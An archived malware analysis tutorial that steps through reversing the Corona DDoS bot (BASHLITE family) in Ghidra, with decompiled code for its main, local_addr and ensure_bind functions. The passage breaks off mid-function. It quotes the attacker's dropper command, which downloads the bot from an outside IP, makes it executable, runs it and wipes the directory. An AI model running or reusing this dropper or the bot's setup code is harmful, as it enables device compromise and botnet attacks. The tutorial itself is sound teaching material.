{
	"id": "ed04077e-b374-4b6b-9199-415e26711362",
	"created_at": "2026-04-10T03:21:49.951645Z",
	"updated_at": "2026-04-10T03:22:19.43578Z",
	"deleted_at": null,
	"sha1_hash": "b253faa9341790b039ee84bd0763882f68ace6a6",
	"title": "Corona DDoS bot – Max Kersten",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 253363,
	"plain_text": "Corona DDoS bot – Max Kersten\r\nArchived: 2026-04-10 02:31:07 UTC\r\nThis article was published on the 14th of October 2019. This article was updated on the 19th of March 2020, as\r\nwell as on the 7th of December 2021.\r\nDistributed denial of service (DDoS) attacks can successfully deny the victim’s access to the internet for a period\r\nof time. Compromised servers can be used to launch such an attack. Additionally, the rise of infected smart\r\ndevices that are connected to the internet, allow criminal actors to grow their botnets to sizes that were not seen\r\nbefore. These smart devices aren’t updated in time, if updates are released at all.\r\nIn this article, the Corona DDoS tool is analysed in the usual step-by-step manner. It contains elements of the\r\nBASHLITE family. The used analysis method will mainly focus on a breadth-first top-down approach. Breadth-first means that a function is analysed completely before moving on to functions that are called within the current\r\nfunction. Top-down means that the analysis begins at the start of the program, after which the analysis follows the\r\nflow of the program itself.\r\nTable of contents\r\nOutline\r\nSample information\r\nObtaining the sample\r\nUsed tooling\r\nTechnical analysis\r\nAnalysing the main function\r\nDetermining the next steps\r\nObtaining the local address\r\nThe socket mutex\r\nString decryption\r\nTesting the internet connection\r\nRegistering the bot\r\nParsing a command\r\nAnalysing the command handling\r\nConclusion\r\nOutline\r\nIn this article, multiple phases will be described using the usual step-by-step approach. Firstly, the main function is\r\nanalysed in order to get an overview of the malware’s lay-out. Secondly, the local address is obtained. Thirdly, the\r\nmutex that is used by the malware is described. Fourthly, the decryption routine for the encrypted strings will be\r\nanalysed and rewritten in Java. Using this decryptor, the actual values of the encrypted strings can be obtained.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 1 of 39\n\nFifthly, the bot’s registration at the command \u0026 control server will be analysed, including a connectivity check.\r\nSixthly, the process of dispatching incoming commands will be analysed. Lastly, a conclusion is made based upon\r\nthe findings.\r\nSample information\r\nThe sample that is analysed in this article can be found based upon the following information.\r\nMD5: c2ab26263fa70e28e6d63b4fe4519a93\r\nSHA-1: 2f1194a220b677fbeb66ad6fed606e795abc5fd0\r\nSHA-256: b2aa076b43bb3369b6af3e884896679009dd91222f4c29f28426fdedc46d2bde\r\nSize: 65620 bytes\r\nAdditionally, one can download it from VirusBay, Malware Bazaar, or MalShare.\r\nObtaining the sample\r\nAn anonymous source provided the sample, along with the commands that are executed by the malicious actor.\r\nThe commands are given below.\r\nwget http://91[.]209[.]70[.]174/Corona.x86_64; chmod 777 *; ./Corona.x86_64 ROOTS; rm -rf *;)\r\nThe malware is downloaded from the given URL using wget, after which chmod is used to set the Read Write\r\nExecute bits of every file in the current directory to true. This makes the downloaded program executable. The\r\nprogram is then started with a single command line argument: ROOTS. All files in the working directory are then\r\nforcefully and recursively removed using rm using rm -rf.\r\nUsed tooling\r\nThe analysis of this program is done with Ghidra 9.0.2. When loading the ELF binary into Ghidra, all default\r\nanalysis options are selected as well as the Decompiler Parameter ID option. Further renaming and retyping of\r\nvariables will be done manually.\r\nTechnical analysis\r\nThis version of the Corona bot contains the original symbols, since the binary was not compiled with the strip\r\nflag. The analysis in this article will not rely on the symbols, as they are not always present, nor are they always\r\naccurate.\r\nGhidra’s decompiler will be used to get an overview of the code, but the assembly instructions will be used to\r\nverify the output, especially in cases where the generated pseudo code looks unlikely or incorrect.\r\nCommitting local variables\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 2 of 39\n\nWhen viewing a function in the decompiler, it is helpful to right click somewhere in the decompiler window and\r\nselect the Commit Locals option. This saves the variables for later usage and is used to optimise the code within\r\nthe function. Additionally, it renames variables based on the argument names of the functions that are called\r\nwithin the code. Whenever a function is analysed within this article, the local variables are committed.\r\nAnalysing the main function\r\nThe starting point of this binary is found in the main function. In here, the core logic of the program is located.\r\nThe complete code of the function is given below, after which it is analysed in parts.\r\nvoid main(undefined8 uParm1,long lParm2)\r\n{\r\n __pid_t _Var1;\r\n uint uVar2;\r\n time_t tVar3;\r\n undefined2 local_78;\r\n undefined local_76 [90];\r\n uint local_1c;\r\n local_1c = local_addr();\r\n ensure_bind((ulong)local_1c);\r\n signal(0x11,(__sighandler_t)0x1);\r\n signal(1,(__sighandler_t)0x1);\r\n _Var1 = fork();\r\n if (_Var1 \u003c 1) {\r\n encryption_init();\r\n if (*(long *)(lParm2 + 8) == 0) {\r\n strcpy(myinfo + 100,enc_unknown);\r\n }\r\n else {\r\n strcpy(myinfo + 100,*(char **)(lParm2 + 8));\r\n }\r\n local_78 = 0x20;\r\n memset(local_76,0,0x4e);\r\n prctl(0xf,\u0026local_78);\r\n tVar3 = time((time_t *)0x0);\r\n uVar2 = getpid();\r\n srandom(uVar2 ^ (uint)tVar3);\r\n do {\r\n connection();\r\n recv_buf();\r\n } while( true );\r\n }\r\n return;\r\n}\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 3 of 39\n\nAfter the declaration of the variables, the local_addr function is called, which returns a numeric value. Based on\r\nthe function name, this function is likely to return the local address of the machine. Based on which local_1c can\r\nbe renamed to localAddr. This value is then used as an argument in the ensure_bind function, which is likely to\r\nensure that a binding of sorts is present.\r\nThe two signal function calls after that set the way that signals are handled. The signal function has the following\r\nfunction signature:\r\nvoid ( *signal(int signum, void (*handler)(int)) ) (int);\r\nThe first argument (named signum) is the specific value of the signal. The second argument is used to determine\r\nwhat needs to be done with the signal that is specified in the first argument.\r\nIn the main function’s signal functions, the signum parameter equals 0x11 (or 17 in decimal) and 1. According to\r\nthe x86_64 Linux signal.h source code, these values are equal to SIGCHLD and SIGHUP respectively.\r\nThe SIGCHLD (SIG CHILD) signal is sent to a process when a child process ends. The existence of a child\r\nprocess is logical, since the fork function is called later on in the main function.\r\nThe SIGHUP (SIG HANGUP) signal is sent to a process when the terminal that controls the process, is closed.\r\nThe second parameter, equal to 0x01 in both cases, equals SIG_IGN (SIG IGNORE), as can be seen in the Linux\r\nman pages. This means that the specified signals are effectively ignored, leaving the process running when it’s\r\ncontrolling terminal is closed or when a child process ends.\r\nIn Ghidra’s disassembler view, one can right click on a value and select Set Equate. Alternatively, one can press E.\r\nThis allows Ghidra to display a custom string, instead of a constant value. In this case, the enum values can be\r\nused to redefine the constant integer values that are given in the disassembly. This increases the readability of the\r\ncode a lot. The change is given below.\r\n//Before\r\nsignal(0x11,(__sighandler_t)0x1);\r\nsignal(1,(__sighandler_t)0x1);\r\n//After\r\nsignal(SIGCHLD,(__sighandler_t)SIG_IGN);\r\nsignal(SIGHUP,(__sighandler_t)SIG_IGN);\r\nThe next part of the function creates a child process. The return value of the fork function needs to be less than 1\r\nin order for the execution to continue.\r\n _Var1 = fork();\r\n if (_Var1 \u003c 1) {\r\n //Continue execution\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 4 of 39\n\n}\r\n return;\r\nThe Linux manual pages provide information about the possible return values, as can be seen below.\r\nOn success, the PID of the child process is returned in the parent,\r\nand 0 is returned in the child. On failure, -1 is returned in the\r\nparent, no child process is created, and errno is set appropriately.\r\nBased on this, one can conclude that the code within the if-statement is executed by the child process. If the\r\ncreation of the child process fails, the parent will execute the body of the if-statement.\r\nTo increase the readability of the code, _Var1 can be renamed into forkResult. One can do this by using the context\r\nmenu when right clicking on the variable in the decompiler and selecting Rename Variable. Alternatively, one can\r\npress L when the variable is selected.\r\nThe body of the if-statement contains a call to the encryption_init function, which does not return a value. After\r\nthat, yet another if-statement is present, as can be seen below.\r\nencryption_init();\r\nif (*(long *)(lParm2 + 8) == 0) {\r\n strcpy(myinfo + 100,enc_unknown);\r\n}\r\nelse {\r\n strcpy(myinfo + 100,*(char **)(lParm2 + 8));\r\n}\r\nThe variable that is located at lParm2 + 8 is compared to the value 0. Within the if-statement, the value is treated\r\nas (*(long *), whilst the declared type equals long. Within the body of the if-statement, the variable is treated as a\r\n*(char **).\r\nAt first, the value that is located at the address that lParm2 + 8 points to, is compared to NULL. If this is the case,\r\na string named enc_unknown is copied into myinfo + 100. If the comparison is not equal, the value that resides at\r\nlParm2 + 8 is copied into myinfo + 100.\r\nIn the x86_64 architecture, the size of an integer equals 8 bytes. The second parameter of the main function is a\r\nstring array which contains the command line arguments. At index 0, a pointer towards the program itself is\r\npresent. At index 1, a pointer to the first command line argument is given.\r\nIn this case, the first check verifies the presence of a command line argument. If it is present, the value is copied\r\ninto myinfo + 100. If not, the value of enc_unknown is copied.\r\nCreating a custom structure\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 5 of 39\n\nThe global variable myinfo is 300 bytes in size. When using selecting myinfo in the disassembler by double\r\nclicking, one can use CTRL + SHIFT + F to find cross references. As a result, multiple cross references are\r\nshown, where only two locations are accessed: myinfo + 100 and myinfo + 200. To clarify the code even further,\r\none can change the type of myinfo to a custom struct that contains 3 arrays of 100 characters each.\r\nOne can create a custom struct in the Data Type Manager, which is located in the bottom left corner by default. In\r\nhere, all used data types are found. The binary’s name is also included in this list, which is where this custom\r\nstruct will be added, as the struct only occurs within this binary. Right clicking on the entry with the binary’ s\r\nname shows a context menu with multiple options. Select New -\u003e Structure.\r\nIn the bottom part of the screen that pops up, one can give the structure a name. In this case, the given name\r\nequals myinfo_struct. The green plus at the top is used to add a field to the struct. Next up, double click the on the\r\ntext box in the DataType column. Here, the type of the field is to be defined. In this case, a character array will be\r\nused. The length of the array, in all three cases, is 100 characters: char[100].\r\nAfter defining the fields, they remain nameless. The first field has no references according to the cross references,\r\nthus the name is irrelevant. The name that is used in this article is unknown_1. The second field contains the\r\ncommand line argument, which can thus be named command_line_argument. Lastly, the third field needs a name.\r\nAs the content of this field is not yet known, the name unknown_2 is assigned until more information is known.\r\nThe floppy symbol saves the custom struct, after which the structure editor can be closed. To use the newly\r\ncreated structure, one needs to navigate to myinfo in the disassembler, select it and press T. Alternatively, one can\r\nuse the context menu of the right mouse button and select Data -\u003e Select Data Type. Search for myinfo_struct and\r\nselect the type. The decompiled code should then automatically change, as can be seen below.\r\n//Before\r\nif (*(long *)(lParm2 + 8) == 0) {\r\n strcpy(myinfo + 100,enc_unknown);\r\n}\r\nelse {\r\n strcpy(myinfo + 100,*(char **)(lParm2 + 8));\r\n}\r\n//After\r\nif (*(long *)(lParm2 + 8) == 0) {\r\n strcpy(myinfo.command_line_argument,enc_unknown);\r\n}\r\nelse {\r\n strcpy(myinfo.command_line_argument,*(char **)(lParm2 + 8));\r\n}\r\nThis makes the code much more readable and removes the mental note that myinfo + 100 contains the command\r\nline argument. Note that lParm2 can be renamed to argv. To further increase the readability of the code, one can\r\nretype argv into a char**. The decompiler will then correctly display the variable as an array, as can be seen\r\nbelow.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 6 of 39\n\n//Before\r\nif (*(long *)(lParm2 + 8) == 0) {\r\n strcpy(myinfo.command_line_argument,enc_unknown);\r\n}\r\nelse {\r\n strcpy(myinfo.command_line_argument,*(char **)(lParm2 + 8));\r\n}\r\n//After\r\nif (argv[1] == (char *)0x0) {\r\n strcpy(myinfo.command_line_argument,enc_unknown);\r\n}\r\nelse {\r\n strcpy(myinfo.command_line_argument,argv[1]);\r\n}\r\nContinuation of main\r\nThe last part of the main function is given below.\r\nlocal_78 = 0x20;\r\nmemset(local_76,0,0x4e);\r\nprctl(0xf,\u0026local_78);\r\nThe variable local_78 is used as an argument in the prctl (PRocess ConTroL) function. This function alters a\r\nprocess based on the first argument, which is 0xf (15 in decimal) in this case. The enum’s value can be found in\r\nprctl.h of the Linux source code. The value 0xf is equal to PR_SET_NAME. This option requires only one\r\nadditional parameter, which is also present in the decompiled code: a string. This string is the new name of the\r\ncalling thread.\r\nThis effectively changes the parent process’ name to 0x20. The value 0x20 is, according to the ASCII table, a\r\nspace. This makes the parent process hard to spot in a process overview. The variable local_78 can be renamed\r\ninto parentName. The refactored code is given below.\r\nparentName = 0x20;\r\nmemset(local_76,0,0x4e);\r\nprctl(0xf,\u0026parentName);\r\nThe call to memset seems irrelevant here, as there are no cross references to local_76 present. This might be a\r\ncompiler optimisation, or it might be left by the malware’s author whilst working on changes.\r\ntVar3 = time((time_t *)0x0);\r\nuVar2 = getpid();\r\nsrandom(uVar2 ^ (uint)tVar3);\r\ndo {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 7 of 39\n\nconnection();\r\n recv_buf();\r\n} while( true );\r\nThe variable tVar3 is equal to the return value of the time function. This function returns the amount of seconds\r\nthat have passed since Epoch (the start of 1970). The getpid function is used to obtain the current process’ ID. The\r\nprocess ID is xored with the current time in seconds since epoch, after which the result is passed to the srandom\r\nfunction. The value serves as a seed for future calls towards rand, which returns a random value based on the seed.\r\nAs such, the variables tVar3 and uVar2 can be renamed into currentTime and pidNumber respectively. The\r\nrefactored code is given below.\r\ncurrentTime = time((time_t *)0x0);\r\npidNumber = getpid();\r\nsrandom(pidNumber ^ (uint)currentTime);\r\nAt last, an endless loop is entered. Within this loop, two functions are called, as can be seen below.\r\ndo {\r\n connection();\r\n recv_buf();\r\n} while( true );\r\nA recap of main\r\nBefore going into the functions that are called, a quick recap of the main function is given, along with the\r\nrefactored code.\r\nThe local_addr function is called, which likely returns the local address, which is then used in the ensure_bind\r\nfunction. Two signals are then to be ignored, after which a fork of the program is created.\r\nIf the forking is successful, the encryption_init function is called. When an argument is given on the command\r\nline, that value is copied into the myinfo struct. If not, a default value is copied.\r\nThe name of the parent thread is then changed to a space, making it harder to see in a visual overview. The memset\r\ncall can be ignored, as there are no cross references. The randomisation function is then seeded with the current\r\ntime in Epoch format and the current process ID.\r\nAt last, the connection and recv_buf functions are called in an endless loop.\r\nThe complete refactored main function is given below.\r\nvoid main(undefined8 param_1,char **argv)\r\n{\r\n __pid_t forkResult;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 8 of 39\n\nuint pidNumber;\r\n time_t currentTime;\r\n undefined2 parentName;\r\n undefined local_76 [90];\r\n uint localAddr;\r\n localAddr = local_addr();\r\n ensure_bind((ulong)localAddr);\r\n signal(SIGCHLD,(__sighandler_t)SIG_IGN);\r\n signal(SIGHUP,(__sighandler_t)SIG_IGN);\r\n forkResult = fork();\r\n if (forkResult \u003c 1) {\r\n encryption_init();\r\n if (argv[1] == (char *)0x0) {\r\n strcpy(myinfo.command_line_argument,enc_unknown);\r\n }\r\n else {\r\n strcpy(myinfo.command_line_argument,argv[1]);\r\n }\r\n parentName = 0x20;\r\n memset(local_76,0,0x4e);\r\n prctl(0xf,\u0026parentName);\r\n currentTime = time((time_t *)0x0);\r\n pidNumber = getpid();\r\n srandom(pidNumber ^ (uint)currentTime);\r\n do {\r\n connection();\r\n recv_buf();\r\n } while( true );\r\n }\r\n return;\r\n}\r\nDetermining the next steps\r\nAt this point, one can set out multiple paths to fully analyse the malware. In this case, all unknown functions will\r\nbe analysed in the order that they are encountered. This approach works the best to fully understand what the\r\nmalware is doing.\r\nIf the goal is to analyse how a specific part of the malware works, searching for cross references to relevant\r\nfunctions and system calls will yield faster results.\r\nObtaining the local address\r\nThe local address of a device is useful for malware authors as it is a unique identifier of the infected device. It can\r\nprovide information about the geographical location of the victim. Additionally, it is useful to know what the\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 9 of 39\n\naddress of a bot is, if the main purpose of the bot is to participate in DDoS attacks.\r\nBefore diving into the local_addr function, it is worth to note the myinfo struct’s third field is used in this method.\r\nThe code is given below.\r\nulong local_addr(void)\r\n{\r\n int __fd;\r\n uint local_3c;\r\n socklen_t local_2c;\r\n sa_family_t local_28;\r\n uint16_t local_26;\r\n uint32_t local_24;\r\n int local_c;\r\n local_2c = 0x10;\r\n __fd = socket(2,2,0);\r\n if (__fd == -1) {\r\n local_3c = 0;\r\n }\r\n else {\r\n local_28 = 2;\r\n local_3c = htonl(0x8080808);\r\n htons(0x35);\r\n connect(__fd,(sockaddr *)\u0026local_28,0x10);\r\n getsockname(__fd,(sockaddr *)\u0026local_28,\u0026local_2c);\r\n close(__fd);\r\n sprintf(myinfo.unknown_2,\"%d.%d.%d.%d\",(ulong)(byte)local_3c,(ulong)(byte)(local_3c \u003e\u003e 8),\r\n (ulong)(local_3c \u003e\u003e 0x10 \u0026 0xff),(ulong)(local_3c \u003e\u003e 0x18));\r\n }\r\n return (ulong)local_3c;\r\n}\r\nThe socket function is used to create a socket. The function signature is given below.\r\nint socket (int __domain, int __type, int __protocol)\r\nWhen looking into the x86_64 Linux source code for socket.h, one will see that the domain equals AF_INET. The\r\ntype, as can be seen here, equals SOCK_DGRAM. The protocol value 0, as defined in /etc/protocols on Linux\r\nsystems, leaves the protocol type up to the system. Below is an excerpt from the manual page:\r\nThe protocol specifies a particular protocol to be used with the socket. Normally\r\nonly a single protocol exists to support a particular socket type within a given\r\nprotocol family, in which case protocol can be specified as 0.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 10 of 39\n\nUsing the equate functionality, one can change the values in Ghidra according to their original names. The change\r\nin code is given below.\r\n//Before\r\n__fd = socket(2,2,0);\r\n//After\r\n__fd = socket(AF_INET,SOCK_DGRAM,DEFAULT_PROTOCOL);\r\nThe return value of the socket is -1 when an error occurs. If there is no error, the file descriptor is returned. The\r\nvariable local_3c is returned at the end of the function. As such, it can be refactored to output. The output is\r\nconverted from host order into network order using htonl.\r\nIf there is no error, the local_28 variable is set to 2. Additionally, one can see the call to the htons function, which\r\nconverts the value from host to network order. The hexadecimal value 0x35 equals 53 in decimal. One can display\r\nthe decimal value in Ghidra by right clicking the value and selecting Convert, where Unsigned Decimal should be\r\nchosen.\r\nThe getsockname function is used to get the address to which the given socket is bound. Alternatively, it can also\r\nbe used to determine what the IP address of the callee is, as can be read here. This condition is only met if the\r\nconnect function is called without a prior call to the bind function. It expects several arguments, as can be seen\r\nbelow.\r\nint getsockname(int sockfd, struct sockaddr *addr, socklen_t * addrlen);\r\nIn this case, the first argument is the socket that was created before. The second argument seems to point to a\r\nstructure with the following lay-out:\r\nstruct sockaddr {\r\n unsigned short sa_family;\r\n char sa_data[14];\r\n};\r\nThe value 2 (which is equal to AF_INET), is set as a family type. The second field, however, is never set, as can be\r\nseen below.\r\nlocal_28 = 2;\r\noutput = htonl(0x8080808);\r\nhtons(0x35);\r\nThe output variable is made equal to 8.8.8.8, which is Google’s DNS server address. The htons function receives a\r\nsingle argument, which is equal to 53 in decimal. This is the port that is used for DNS requests.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 11 of 39\n\nThe reason that the code looks odd here, is because the wrong type is being used. When looking at other\r\nsocketaddr structs, one will see the sockaddr_in structure, which is also given below.\r\nstruct sockaddr_in {\r\n short int sin_family;\r\n unsigned short int sin_port;\r\n struct in_addr sin_addr;\r\n unsigned char sin_zero[8];\r\n};\r\nThis structure has fields for the family, port, address and some padding. When changing the type of local_28, the\r\ndecompiler automatically adjusts the code. A comparison is given below.\r\n//Before\r\nlocal_28 = 2;\r\noutput = htonl(0x8080808);\r\nhtons(0x35);\r\n//After\r\nlocal_28.sin_family = 2;\r\nlocal_28.sin_addr = htonl(0x8080808);\r\nlocal_28.sin_port = htons(0x35);\r\nNote that the socket input family (where the value equals two) also equals AF_INET. This can also be changed in\r\nthe disassembler to reflect this in the code.\r\n//Before\r\nlocal_28.sin_family = 2;\r\n//After\r\nlocal_28.sin_family = AF_INET;\r\nBased on this information, the local_28 variable can be renamed into socket_input. The getsockname function\r\nrequires the socket address input structure size as a third parameter. As such, the local_2c variable can be renamed\r\nto socketSize. The changes in the code are given below.\r\n//[...]\r\nsocket_input.sin_family = AF_INET;\r\nsocket_input.sin_addr = htonl(0x8080808);\r\nsocket_input.sin_port = htons(0x35);\r\n//[...]\r\ngetsockname(__fd,(sockaddr *)\u0026socket_input,\u0026socketSize);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 12 of 39\n\nAfter that, a connection is made to the IP address, the socket name is obtained and the socket handle is closed. As\r\ndescribed above, a call to connect without a call to the bind function, will result in the local address of the device\r\nin the given sockaddr_in structure. The local address is then copied into the unknown_2 field of the myinfo struct.\r\nTo edit the myinfo struct, one needs to search for the struct’s name in the Data Type Manager, right click on it, and\r\nselect Edit. The name of the third field should be changed from unknown_2 to local_address. Press the floppy\r\nicon to save the changes. The disassembly and decompiler views are then automatically updated to show the latest\r\nchanges. Below, the difference in code is given.\r\n//Before\r\nsprintf(myinfo.unknown_2,\"%d.%d.%d.%d\",(ulong)(byte)socket_input.sin_addr,\r\n (ulong)(byte)(socket_input.sin_addr \u003e\u003e 8),(ulong)(socket_input.sin_addr \u003e\u003e 0x10 \u0026 0xff),\r\n (ulong)(socket_input.sin_addr \u003e\u003e 0x18));\r\n//After\r\nsprintf(myinfo.local_address,\"%d.%d.%d.%d\",(ulong)(byte)socket_input.sin_addr,\r\n (ulong)(byte)(socket_input.sin_addr \u003e\u003e 8),(ulong)(socket_input.sin_addr \u003e\u003e 0x10 \u0026 0xff),\r\n (ulong)(socket_input.sin_addr \u003e\u003e 0x18));\r\nlocal_addr summary\r\nTo summarise, the socket is created. Upon failure to do so, this function will return -1. If the socket creation\r\nsucceeds, a DNS request is made to Google’s DNS server 8.8.8.8 at port 53. The return value will contain the local\r\naddress, which is then stored in the myinfo struct. Additionally, the function will return the local IP address.\r\nThe complete refactored function is given below.\r\nulong local_addr(void)\r\n{\r\n int __fd;\r\n uint32_t output;\r\n socklen_t socketLength;\r\n sockaddr_in socket_input;\r\n int local_c;\r\n socketLength = 0x10;\r\n __fd = socket(AF_INET,SOCK_DGRAM,DEFAULT_PROTOCOL);\r\n if (__fd == -1) {\r\n output = 0;\r\n }\r\n else {\r\n socket_input.sin_family = AF_INET;\r\n socket_input.sin_addr = htonl(0x8080808);\r\n socket_input.sin_port = htons(0x35);\r\n connect(__fd,(sockaddr *)\u0026socket_input,0x10);\r\n getsockname(__fd,(sockaddr *)\u0026socket_input,\u0026socketLength);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 13 of 39\n\nclose(__fd);\r\n sprintf(myinfo.local_address,\"%d.%d.%d.%d\",(ulong)(byte)socket_input.sin_addr,\r\n (ulong)(byte)(socket_input.sin_addr \u003e\u003e 8),(ulong)(socket_input.sin_addr \u003e\u003e 0x10 \u0026 0xff),\r\n (ulong)(socket_input.sin_addr \u003e\u003e 0x18));\r\n output = socket_input.sin_addr;\r\n }\r\n return (ulong)output;\r\n}\r\nThe socket mutex\r\nA mutex is used rather often in malware. It is generally used to check if the system is already infected. To avoid\r\ninterfering with itself, the newest instance of the malware will then shut itself off. A mutex can be the system’s\r\nmutex, but it can also be a file or a registry key. In this case, a different type of mutex is used.\r\nAnalysing ensure_bind\r\nThe first step is to commit the local variables, in order for Ghidra to optimise the decompiled code.\r\nWhen taking a quick glance at the decompiled output, a similar case compared to the previous function can be\r\nseen. The variable local_28 is of the sa_family_t type, but is used as the sockaddr in the bind function.\r\nChanging the type from sa_family_t to socketaddr_in provides the correct decompiled pseudo code. Also note the\r\nfact that ensure_bind does not take any arguments, whilst the code in the main function does provide an argument:\r\nthe return value of the local_addr function. When the correct type is applied, the function argument becomes\r\nvisible and usable. The difference is given below.\r\n//Before\r\n if (__fd != -1) {\r\n local_28 = 2;\r\n htons(0x22b8);\r\n uVar1 = fcntl(__fd,3,0);\r\n//After\r\n if (__fd != -1) {\r\n local_28.sin_family = 2;\r\n local_28.sin_port = htons(0x22b8);\r\n local_28.sin_addr = iParm1;\r\n uVar1 = fcntl(__fd,3,0);\r\nThe variable local_28 can be renamed into socketAddr. The complete code of the ensure_bind function is given\r\nbelow.\r\nvoid ensure_bind(in_addr_t iParm1)\r\n{\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 14 of 39\n\nint __fd;\r\n uint uVar1;\r\n int iVar1;\r\n uint32_t uVar2;\r\n int *piVar3;\r\n int *piVar2;\r\n sockaddr_in socketAddr;\r\n int local_10;\r\n int local_c;\r\n __fd = 0xffffffff;\r\n __fd = socket(2,1,0);\r\n if (__fd != -1) {\r\n socketAddr.sin_family = 2;\r\n socketAddr.sin_port = htons(0x22b8);\r\n socketAddr.sin_addr = iParm1;\r\n uVar1 = fcntl(__fd,3,0);\r\n fcntl(__fd,4,(ulong)(uVar1 \u0026 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 \u003e\u003e 8),(char)uVar1))\r\n | 0x800);\r\n piVar3 = __GI___errno_location();\r\n *piVar3 = 0;\r\n iVar1 = bind(__fd,(sockaddr *)\u0026socketAddr,0x10);\r\n piVar2 = __GI___errno_location();\r\n if ((iVar1 == -1) \u0026\u0026 (*piVar2 == 99)) {\r\n close(__fd);\r\n sleep(1);\r\n uVar2 = htonl(0x7f000001);\r\n ensure_bind((ulong)uVar2);\r\n }\r\n else {\r\n if (iVar1 == -1) {\r\n exit(1);\r\n }\r\n listen(__fd,1);\r\n }\r\n }\r\n return;\r\n}\r\nAt first, an AF_INET socket is created, of the SOCK_STREAM type, together with the default protocol. The\r\nchange is given below.\r\n//Before\r\n__fd = socket(2,1,0);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 15 of 39\n\n/After\r\n__fd = socket(AF_INET,SOCK_STREAM,DEFAULT_PROTOCOL);\r\nIf the creation of the socket does not fail, a sockaddr_in struct is created. The family equals AF_INET, which is\r\nrepresented by the value 2. The port is equal to 0x22b8 (or 8888 in decimal). The address is taken from the\r\nfunction’s argument, which is named iParm1. Since the value of iParm1 is equal to the return value of local_addr,\r\nthis value is equal to the IP address of the machine. This variable can be renamed to inputAddress.\r\nThe next part of the body of the if-statement calls fcntl (which stands for File CoNTroL) twice. This function\r\nrequires a file descriptor as input, together with a command and a value.\r\nuVar1 = fcntl(__fd,3,0);\r\nfcntl(__fd,4,(ulong)(uVar1 \u0026 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 \u003e\u003e 8),(char)uVar1)) | 0x\r\nPer Linux’ source code, the commands 3 and 4 are equal to F_GETFL and F_SETFL respectively. These\r\ncommands, in order, get and set the file, based on the given file descriptor. These can be changed within Ghidra as\r\nsuch. The refactored code is given below.\r\nuVar1 = fcntl(__fd,F_GETFL,0);\r\nfcntl(__fd,F_SETFL,(ulong)(uVar1 \u0026 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 \u003e\u003e 8),(char)uVar1\r\nThe next part of the code is given below.\r\npiVar3 = __GI___errno_location();\r\n*piVar3 = 0;\r\niVar1 = bind(__fd,(sockaddr *)\u0026socketAddr,0x10);\r\npiVar2 = __GI___errno_location();\r\nif ((iVar1 == -1) \u0026\u0026 (*piVar2 == 99)) {\r\nThe outcome of the first __GI___errno_location call is set to 0 directly afterwards. As such, the piVar3 variable\r\ncan be ignored within this function.\r\nAfter that, the bind function is called to bind the newly created sockaddr_in onto the given socket. The return\r\nvalue is stored in iVar1. The iVar1 variable can be renamed to bindResult. Additionally, the last error code is\r\nobtained and stored in piVar2. The piVar2 can be renamed to lastErrorCode. The refactored code is given below.\r\npiVar3 = __GI___errno_location();\r\n*piVar3 = 0;\r\nbindResult = bind(__fd,(sockaddr *)\u0026socketAddr,0x10);\r\nlastErrorCode = __GI___errno_location();\r\nif ((bindResult == -1) \u0026\u0026 (*lastErrorCode == 99)) {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 16 of 39\n\nThe if-statement above checks if the bindResult is equal to -1 and if the last error code is equal to 99. The enum\r\nvalue that corresponds with 99 is present in the Linux source code: EADDRNOTAVAIL. Using the Equate\r\nfunctionality within Ghidra, one can replace 99 with EADDRNOTAVAIL. This value is returned when the address\r\nis not available, which would happen when it is already in use. The code is given below.\r\nif ((bindResult == -1) \u0026\u0026 (*lastErrorCode == EADDRNOTAVAIL)) {\r\n close(__fd);\r\n sleep(1);\r\n uVar2 = htonl(0x7f000001); //127.0.0.1\r\n ensure_bind((ulong)uVar2);\r\n}\r\nIf this is the case, the socket is closed, a one second sleep is induced, and the address 127.0.0.1 is stored in uVar2.\r\nThe uVar2 variable can be renamed into localhost. The iVar1 variable can be renamed into bindResult. The\r\nensure_bind function is then called again, this time with 127.0.0.1 as its parameter. Effectively, port 8888 on the\r\nmachine is used, be it via the previously obtained local address or via the local host.\r\nThe next part of the code is given below.\r\nif (bindResult == -1) { //\r\n exit(1);\r\n}\r\nlisten(__fd,1);\r\nIf the socket cannot be created but the error code does not equal 99, the program exits. If the socket can be\r\ncreated, the listen function is called. The first argument is the file descriptor. The second argument is the size of\r\nthe backlog, which is the amount of incoming connections that are put on hold for the given socket. If the given\r\nnumber is exceeded, ECONNREFUSED (or 111 in decimal) is returned.\r\nThis binding serves as some sort of mutex: if the bot is already active, the binding is complete and a new instance\r\nwill then shut itself down. If it is the first instance, it creates the required bindings and continues with the\r\nexecution.\r\nThe complete refactored code of the function is given below.\r\nvoid ensure_bind(in_addr_t inputAddress)\r\n{\r\n int __fd;\r\n uint uVar1;\r\n int bindResult;\r\n uint32_t localhost;\r\n int *piVar3;\r\n int *lastErrorCode;\r\n sockaddr_in socketAddr;\r\n int 